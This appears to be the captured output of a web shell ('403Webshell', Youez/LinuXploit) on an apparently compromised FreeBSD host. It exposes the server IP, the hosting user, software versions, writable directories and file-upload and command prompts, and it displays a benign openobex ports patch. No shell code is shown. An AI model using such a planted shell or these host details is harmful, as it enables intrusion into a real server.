403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/comms/openobex/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/comms/openobex/files/patch-lib_cloexec.h
--- lib/cloexec.h.orig	2012-03-26 18:25:19 UTC
+++ lib/cloexec.h
@@ -22,6 +22,7 @@
 #ifndef _WIN32
 #include <sys/types.h> 
 #include <sys/socket.h>
+#include <sys/param.h>
 #include <fcntl.h>
 static __inline void fcntl_cloexec(socket_t fd)
 {
@@ -55,7 +56,7 @@ static __inline int accept4(int s, struc
 static __inline socket_t accept_cloexec(socket_t sockfd, struct sockaddr *addr,
 				      socklen_t *addrlen)
 {
-#ifdef SOCK_CLOEXEC
+#if defined(SOCK_CLOEXEC) && __FreeBSD_version > 1000032
 	return accept4(sockfd, addr, addrlen, SOCK_CLOEXEC);
 #else
 	socket_t fd = accept(sockfd, addr, addrlen);

Youez - 2016 - github.com/yon3zu
LinuXploit